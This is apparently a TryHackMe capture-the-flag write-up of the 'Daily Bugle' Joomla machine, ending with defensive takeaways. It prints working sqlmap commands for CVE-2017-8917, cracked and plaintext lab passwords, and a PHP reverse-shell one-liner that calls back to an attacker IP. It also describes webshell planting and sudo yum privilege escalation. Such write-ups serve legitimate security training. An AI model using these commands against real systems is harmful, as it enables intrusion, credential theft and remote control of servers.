Platform: TryHackMe
Difficulty: Hard
Category: Web Exploitation
Skills Covered: Web enumeration, SQLi, hash cracking, CMS exploitation, PHP webshell, Linux privilege escalation via sudo
Overview #
Daily Bugle is a hard difficulty machine centered around a Joomla CMS deployment with a known CVE. The attack path starts with identifying the Joomla version through version disclosure in a public file, exploiting a documented SQL injection vulnerability to extract and crack an admin password, and then abusing Joomla’s template editor to plant a PHP webshell for initial access. Privilege escalation comes down to a misconfigured sudo rule that allows the low-privilege user to run yum as root.
The core chain looks like this:
- Enumerate the target to identify a Joomla CMS and its version
- Exploit CVE-2017-8917 (Joomla 3.7 SQLi) to extract the admin password hash
- Crack the bcrypt hash offline and authenticate to the Joomla admin panel
- Inject a PHP webshell through the template editor to achieve RCE
- Pivot to a local user via a plaintext password found in the CMS configuration file
- Escalate to root by abusing an unrestricted
sudo yumrule via a malicious plugin
Reconnaissance #
Port Scanning #
Starting with a targeted Nmap scan against the known ports:
# Nmap 7.98 scan initiated Sat Apr 11 17:17:10 2026 as: /usr/lib/nmap/nmap --privileged -vvv -p 22,80,3306 -4 -A -oN scan.txt 10.64.188.150
Nmap scan report for 10.64.188.150
Host is up, received reset ttl 62 (0.036s latency).
Scanned at 2026-04-11 17:17:11 EDT for 22s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
80/tcp open http syn-ack ttl 62 Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 1194D7D32448E1F90741A97B42AF91FA
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
3306/tcp open mysql syn-ack ttl 62 MariaDB 10.3.23 or earlier (unauthorized)
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 11 17:17:33 2026 -- 1 IP address (1 host up) scanned in 22.96 secondsThree ports are open: SSH on 22, an Apache web server on 80, and a MariaDB instance on 3306 that rejects external connections. Nmap immediately fingerprints the HTTP service as Joomla via the http-generator header, and the robots.txt entries confirm standard Joomla directory structure — including /administrator/, the CMS admin panel.
Web Enumeration #
Running dirsearch to map out the full web surface:
┌──(parallels㉿Kali)-[~/targets/DailyBugel]
└─$ dirsearch -u http://10.64.188.150/
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/parallels/targets/DailyBugel/reports/http_10.64.188.150/__26-04-11_17-19-24.txt
Target: http://10.64.188.150/
[17:19:24] Starting:
[17:19:27] 403 - 213B - /.ht_wsr.txt
[17:19:27] 403 - 216B - /.htaccess.bak1
[17:19:27] 403 - 216B - /.htaccess.orig
[17:19:27] 403 - 218B - /.htaccess.sample
[17:19:27] 403 - 216B - /.htaccess.save
[17:19:27] 403 - 217B - /.htaccess_extra
[17:19:27] 403 - 214B - /.htaccessBAK
[17:19:27] 403 - 216B - /.htaccess_orig
[17:19:27] 403 - 214B - /.htaccessOLD
[17:19:27] 403 - 214B - /.htaccess_sc
[17:19:27] 403 - 215B - /.htaccessOLD2
[17:19:27] 403 - 206B - /.htm
[17:19:27] 403 - 207B - /.html
[17:19:27] 403 - 216B - /.htpasswd_test
[17:19:27] 403 - 212B - /.htpasswds
[17:19:27] 403 - 213B - /.httr-oauth
[17:19:29] 403 - 211B - /.user.ini
[17:19:32] 301 - 243B - /administrator -> http://10.64.188.150/administrator/
[17:19:32] 200 - 2KB - /administrator/includes/
[17:19:32] 200 - 31B - /administrator/cache/
[17:19:32] 301 - 248B - /administrator/logs -> http://10.64.188.150/administrator/logs/
[17:19:32] 200 - 31B - /administrator/logs/
[17:19:32] 200 - 5KB - /administrator/index.php
[17:19:32] 200 - 5KB - /administrator/
[17:19:33] 301 - 233B - /bin -> http://10.64.188.150/bin/
[17:19:33] 200 - 31B - /bin/
[17:19:33] 301 - 235B - /cache -> http://10.64.188.150/cache/
[17:19:33] 200 - 31B - /cache/
[17:19:34] 403 - 210B - /cgi-bin/
[17:19:34] 200 - 31B - /cli/
[17:19:34] 301 - 240B - /components -> http://10.64.188.150/components/
[17:19:34] 200 - 31B - /components/
[17:19:34] 200 - 0B - /configuration.php
[17:19:37] 200 - 3KB - /htaccess.txt
[17:19:37] 301 - 236B - /images -> http://10.64.188.150/images/
[17:19:37] 200 - 31B - /images/
[17:19:37] 301 - 238B - /includes -> http://10.64.188.150/includes/
[17:19:37] 200 - 31B - /includes/
[17:19:37] 200 - 9KB - /index.php
[17:19:37] 404 - 3KB - /index.php/login/
[17:19:38] 301 - 238B - /language -> http://10.64.188.150/language/
[17:19:38] 200 - 31B - /layouts/
[17:19:38] 301 - 239B - /libraries -> http://10.64.188.150/libraries/
[17:19:38] 200 - 31B - /libraries/
[17:19:38] 200 - 18KB - /LICENSE.txt
[17:19:38] 301 - 235B - /media -> http://10.64.188.150/media/
[17:19:39] 200 - 31B - /media/
[17:19:39] 301 - 237B - /modules -> http://10.64.188.150/modules/
[17:19:39] 200 - 31B - /modules/
[17:19:40] 301 - 237B - /plugins -> http://10.64.188.150/plugins/
[17:19:40] 200 - 31B - /plugins/
[17:19:41] 200 - 4KB - /README.txt
[17:19:41] 200 - 836B - /robots.txt
[17:19:43] 301 - 239B - /templates -> http://10.64.188.150/templates/
[17:19:43] 200 - 31B - /templates/
[17:19:43] 200 - 0B - /templates/beez3/
[17:19:43] 200 - 31B - /templates/index.html
[17:19:43] 200 - 0B - /templates/protostar/
[17:19:43] 200 - 0B - /templates/system/
[17:19:43] 200 - 31B - /tmp/
[17:19:43] 301 - 233B - /tmp -> http://10.64.188.150/tmp/
[17:19:44] 200 - 2KB - /web.config.txt
Task Completed The scan confirms the full Joomla directory layout and the Joomla admin panel at /administrator/.

Version Disclosure via README.txt #
Joomla ships with a README.txt file in the web root that publicly discloses the CMS version. Fetching it reveals Joomla 3.7.

Joomla 3.7.0 is affected by CVE-2017-8917, a SQL injection vulnerability in the com_fields component. The vulnerable parameter is list[fullordering], which is passed directly into an SQL query without sanitization.

Initial Access #
Exploiting CVE-2017-8917: SQL Injection with SQLMap #
With a known vulnerable parameter and version confirmed, I ran sqlmap against the target. It quickly confirmed a blind time-based SQL injection in the list[fullordering] parameter.

Next, I enumerated the database tables and identified the joomla database containing a #__users table. Dumping its columns revealed the fields we care about: username, password, name, email, and id.
sqlmap -u "http://10.67.135.252/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomla -T "#__users" --columns
Targeting the Jonah account specifically:
sqlmap -u "http://10.67.135.252/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomla --sql-query "SELECT username, password FROM \`#__users\` WHERE username = 'Jonah'"
Cracking the Hash #
The recovered password is a bcrypt hash. Cracking it offline with a wordlist reveals the plaintext: spiderman123.

Admin Panel Access #
Authenticating to the Joomla administrator panel at /administrator/ with jonah:spiderman123 confirms super user access.

PHP Webshell via Template Editor #
Joomla’s admin panel includes a template editor that allows direct modification of PHP template files. I navigated to the template editor and appended a minimal PHP webshell to the footer of index.php:

With the webshell in place, passing a cmd query parameter to the site root confirmed remote code execution on the server.

Reverse Shell #
Using the webshell’s cmd parameter, I triggered a PHP reverse shell one-liner back to my listener:
http://10.64.140.240/index.php?cmd=php -r '%24sock%3Dfsockopen("192.168.134.8"%2C4444)%3Bexec("%2Fbin%2Fsh -i <%263 >%263 2>%263")%3B'
I then upgraded the dumb shell to a fully interactive TTY:

Lateral Movement: www-data to jjameson #
Enumerating the Filesystem #
With a shell as www-data, I could see a home directory for user jjameson, but lacked permission to access it.

The spiderman123 password from earlier doesn’t work for jjameson’s local account. Instead, I performed a recursive search for the string “password” within the web root, which is always a great place to start when landing in a box from a web shell. Its very common that credentials stored in CMS configuration files in this directory:
grep -Ri "password"
The search revealed a plaintext password stored in configuration.php:
nv5uz9r3ZEDzVjNuTesting it against jjameson’s account:

It worked. The CMS database password was being reused as the local system account password.
User Flag #

Privilege Escalation: jjameson to root #
Sudo Enumeration #
Checking jjameson’s sudo privileges reveals a dangerous misconfiguration:

jjameson can run yum as root with no password. GTFOBins documents a well-known privilege escalation path for this exact scenario using a malicious yum plugin.

Building the Malicious Yum Plugin #
The technique works by creating a custom yum plugin containing arbitrary Python code. When yum loads the plugin at runtime with root privileges, the code executes as root.
Step 1: Create a yum configuration file pointing to a custom plugin directory:

Step 2: Create the plugin configuration file to enable the plugin:

Step 3: Write the plugin itself (shell.py) — a simple os.system call to spawn a root shell:

Root Shell #
Running sudo yum with the custom configuration loads the plugin and executes our payload, dropping a root shell:

Root Flag #

Key Takeaways #
CMS version disclosure is a trivial but high-value finding. The Joomla README.txt file is publicly accessible by default and directly disclosed the version. That single piece of information narrowed the attack surface to a specific CVE immediately. Remove or restrict files disclosing sensitive information before exposing a CMS to the internet.
Known CVEs against unpatched CMS installs are reliable attack vectors. CVE-2017-8917 is well-documented and trivially exploitable with SQLMap. Keeping CMS software updated, particularly for critical SQL injection CVEs, is a fundamental patching hygiene requirement.
CMS configuration files are high-value targets during post-exploitation. configuration.php held a plaintext database password that doubled as a local account credential. Secrets stored in application config files should use least-privilege database accounts, and system account passwords should never be reused for application database access.
Unrestricted sudo on package managers is a critical misconfiguration. Granting NOPASSWD sudo access to yum, apt, pip, or any other tool that can load plugins or execute arbitrary code is equivalent to granting root. Any sudo rule allowing a package manager should be treated as a full root grant and avoided entirely.